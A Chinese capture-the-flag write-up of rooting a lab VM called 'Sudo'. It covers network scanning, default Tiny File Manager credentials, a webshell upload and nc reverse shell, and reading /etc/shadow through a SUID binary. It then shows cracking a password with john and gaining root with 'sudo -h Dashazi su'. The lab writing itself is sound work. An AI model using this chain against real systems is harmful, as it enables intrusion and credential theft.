sudo

user

信息扫描

```
File  Actions  Edit  View  Help
┌──(root㉿kali)-[~]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 08:00:27:d1:f8:5d, IPv4: 192.168.1.15
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan
)
192.168.1.2     10:7c:61:90:0c:c4       (Unknown)
192.168.1.1     ac:ad:4b:7f:12:e6       zte corporation
192.168.1.11    08:00:27:78:25:71       PCS Systemtechnik GmbH
192.168.1.3     54:78:85:0a:a4:4b       (Unknown)
192.168.1.10    5a:62:58:bf:6f:ba       (Unknown: locally administered)

5 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.982 seconds (129.16 hosts/sec)
. 5 responded
```

```
┌──(root㉿kali)-[~]
└─# nmap 192.168.1.11
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-11 06:00 EDT
Nmap scan report for 192.168.1.11 (192.168.1.11)
Host is up (0.00018s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:78:25:71 (PCS Systemtechnik/Oracle VirtualBox virtual N
IC)

Nmap done: 1 IP address (1 host up) scanned in 0.17 seconds
```

直接看网页吧，审计完代码，没找到有用信息，就看到了tinyfilemanage这一个项目，上GitHub看看

> ### How to use
>
> Download ZIP with latest version from master branch.
>
> Just copy the tinyfilemanager.php to your webspace - thats all :) You can also change the file name from "tinyfilemanager.php" to something else, you know what i meant for.
>
> Default username/password: **admin/admin@123** and **user/12345**.

发现这里有默认的登录凭证

登录进去后把kali的webshell上传上去就好，然后在浏览器中触发即可

```
┌──(root㉿kali)-[~]
└─#  nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.1.15] from (UNKNOWN) [192.168.1.11] 53780
Linux Sudo 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 GNU/L
inux
 06:19:37 up 26 min,  0 users,  load average: 0.00, 0.06, 0.19
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ ls
bin
boot
dev
```

root

先查suid文件，找到了个很可疑的文件read_file

```
[18:27:04]  66  www-data@Sudo:/$ find / -perm -u=s -type f 2>/dev/null
[18:27:04]  67  find / -perm -u=s -type f 2>/dev/null
[18:27:05]  68  /usr/bin/chsh
[18:27:05]  69  /usr/bin/read_file
[18:27:05]  70  /usr/bin/chfn
[18:27:05]  71  /usr/bin/newgrp
[18:27:05]  72  /usr/bin/gpasswd
[18:27:05]  73  /usr/bin/mount
[18:27:05]  74  /usr/bin/su
[18:27:05]  75  /usr/bin/umount
[18:27:05]  76  /usr/bin/pkexec
[18:27:05]  77  /usr/bin/sudo
[18:27:05]  78  /usr/bin/passwd
[18:27:05]  79  /usr/lib/dbus-1.0/dbus-daemon-launch-helper
[18:27:08]  80  /usr/lib/eject/dmcrypt-get-device
[18:27:08]  81  /usr/lib/openssh/ssh-keysign
[18:27:08]  82  /usr/libexec/polkit-agent-helper-1
```

分析了这个suid文件，很有用，但限制也有，读取的文件只能在/etc下面，不过下面文件也有不少有用的东西，先是shadow，能让我把用户eecho的密码爆出来

```
┌──(root㉿kali)-[~]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Warning: detected hash type "sha512crypt", but the string is also recognized
as "HMAC-SHA256"
Use the "--format=HMAC-SHA256" option to force loading these as that type ins
tead
Warning: detected hash type "sha512crypt", but the string is also recognized
as "HMAC-SHA512"
Use the "--format=HMAC-SHA512" option to force loading these as that type ins
tead
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 SSE2 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
alexis15         (eecho)
1g 0:00:00:23 DONE (2025-07-11 07:11) 0.04180g/s 2092p/s 2092c/s 2092C/s bobo
cel..IMISSYOU
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

然后还有个重要文件sudoers，里面也许有用户能免密码root

```
[19:14:20]  456  eecho@Sudo:~$ /usr/bin/read_file -f /etc/sudoers
[19:14:20]  457  /usr/bin/read_file -f /etc/sudoers
[19:14:20]  458  #
[19:14:20]  459  # This file MUST be edited with the 'visudo' command as root.
[19:14:20]  460  #
[19:14:20]  461  # Please consider adding local content in /etc/sudoers.d/ instead of
[19:14:20]  462  # directly modifying this file.
[19:14:20]  463  #
[19:14:20]  464  # See the man page for details on how to write a sudoers file.
[19:14:20]  465  #
[19:14:20]  466  Defaults        env_reset
[19:14:20]  467  Defaults        mail_badpass
[19:14:20]  468  Defaults        secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
[19:14:20]  469
[19:14:20]  470  # Host alias specification
[19:14:20]  471
[19:14:20]  472  # User alias specification
[19:14:20]  473
[19:14:20]  474  # Cmnd alias specification
[19:14:20]  475
[19:14:20]  476  # User privilege specification
[19:14:20]  477  root    ALL=(ALL:ALL) ALL
[19:14:20]  478
[19:14:20]  479  # Allow members of group sudo to execute any command
[19:14:20]  480  %sudo   ALL=(ALL:ALL) ALL
[19:14:20]  481  eecho Dashazi = NOPASSWD:ALL
[19:14:20]  482  # See sudoers(5) for more information on "@include" directives:
[19:14:20]  483
[19:14:20]  484  @includedir /etc/sudoers.d
```

这个文件告诉我，只有在主机名是Dashazi的时候，eecho才能无密码root

```
:15:26]  485  eecho@Sudo:~$ sudo -h Dashazi su
:15:26]  486  sudo -h Dashazi su
:15:26]  487  sudo: unable to resolve host Dashazi: Name or service not known
:15:39]  488  root@Sudo:/home/eecho# cat /root/root.txt
:15:39]  489  cat /root/root.txt
:15:39]  490  flag{root}
:15:43]  491  root@Sudo:/home/eecho# ls root
:15:43]  492  ls root
:15:43]  493  ls: cannot access 'root': No such file or directory
:15:48]  494  root@Sudo:/home/eecho# ls /root
:15:48]  495  ls /root
:15:48]  496  root.txt
:27:13]  497  root@Sudo:/home/eecho# id
:27:13]  498  id
:27:13]  499  uid=0(root) gid=0(root) groups=0(root)
:27:13]  500  root@Sudo:/home/eecho#
```